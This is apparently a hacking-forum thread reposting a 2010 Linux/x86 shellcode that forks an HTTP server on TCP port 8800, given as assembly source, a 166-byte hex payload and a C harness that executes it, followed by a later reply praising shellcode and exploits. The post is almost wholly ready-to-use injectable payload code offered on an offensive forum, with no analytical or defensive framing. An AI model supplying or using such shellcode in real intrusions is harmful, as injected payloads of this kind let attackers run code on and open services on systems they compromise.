

Forum:[Hack Forums](#)

Thread: [linux/x86 shellcode that forks a HTTP Server on port tcp/8800 166 bytes](#)

Xaker.dll - January 17, 2010, 10:29 am

/*

```
| | / _ _ _ _ | | / _ _ _ _  
| / V V V | / / / / _ _ _  
/ / _ / / / / / / / / / / /  
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_
```

xenomuta\x40phreaker\x2enet

<http://xenomuta.tuxfamily.org/> - Methylxantina 256mg

Description:

a linux/x86 shellcode that forks a HTTP Server on port tcp/8800

OS: Linux

Arch: x86

Length: 166 bytes

Author: XenoMuta

hola at:

str0k3, garay, fr1t0l4y, emra.

- God bless you all -

===== SOURCE CODE =====

.globl _start

_start:

xor %eax, %eax

mov \$0x02, %al

int \$0x80

test %eax, %eax

jz socket

xor %eax, %eax

incb %al

int \$0x80

txt:

pop %ecx

movb \$27, %dl

int \$0x80

close:

movb \$0x6, %al

mov %esi, %ebx

int \$0x80

exit:

mov \$0x01, %al

```
xor %ebx, %ebx
int $0x80
```

```
socketcall:
pop %esi
mov $0x66, %al
incb %bl
mov %esp, %ecx
int $0x80
jmp *%esi
```

```
socket:
cld
xor %eax, %eax
xor %ebx, %ebx
push $0x6
push $0x1
push $0x2
call socketcall
```

```
bind:
mov %eax, %edi
xor %edx, %edx
push %edx
pushw $0x6022
pushw %bx
mov %esp, %ecx
push $0x10
push %ecx
push %edi
call socketcall
```

```
listen:
inc %bl
push $0x05
push %edi
call socketcall
```

```
accept:
xor %ecx, %ecx
push %edx
push %edx
push %edi
call socketcall
```

```
fork:
mov %eax, %esi
xor %eax, %eax
mov $0x02, %al
int $0x80
test %eax, %eax
jz write
```

```
xor %eax, %eax
mov $0x06, %al
mov %esi, %ebx
int $0x80
```

```
xor %eax, %eax
xor %ebx, %ebx
mov $0x04, %bl
jmp accept
```

write:

```
mov %esi, %ebx
mov $0x04, %al
call txt
.string "HTTP/1.0 200\r\n\r\n<h1>:</h1>"
```

==== SOURCE CODE ====

*/

```
char shellcode[] =
```

```
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x22\x31\xc0\xfe\xc0\xcd\x80\x59\xb2\x1b\xcd\x80\xb0\x06\x
89\xf3\xcd\x80\xb0\x01\x31\xdb\xcd\x80\x5e\xb0\x66\xfe\xc3\x89\xe1\xcd\x80\xff\xe6\x99\x31\xc0\x
31\xdb\x6a\x06\x6a\x01\x6a\x02\xe8\xe5\xff\xff\xff\x89\xc7\x31\xd2\x52\x66\x68\x22\x60\x66\x53\x8
9\xe1\x6a\x10\x51\x57\xe8\xcf\xff\xff\xff\xfe\xc3\x6a\x05\x57\xe8\xc5\xff\xff\xff\x31\xc9\x52\x52\x57\
xe8\xbb\xff\xff\xff\x89\xc6\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x10\x31\xc0\xb0\x06\x89\xf3\xcd\x8
0\x31\xc0\x31\xdb\xb3\x04\xeb\xda\x89\xf3\xb0\x04\xe8\x85\xff\xff\xff\x48\x54\x54\x50\x2f\x31\x2e\
x30\x20\x32\x30\x30\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x3a\x29\x3c\x2f\x68\x31\x3e";
```

```
int main ()
{
    printf("Length: %d bytes\n", strlen(shellcode));
    int (*sc)() = (int (*)())shellcode;
    sc();
    return 0;
}
```

KiLo-p0w3r - July 6, 2019, 1:02 pm

I like that and i do most my exploits or my cell and i just now getting back in thee swing of things.. But i love all shell codez and exploits.. I got a few that are not exactly where i want them but they are cooming.. Anyway nice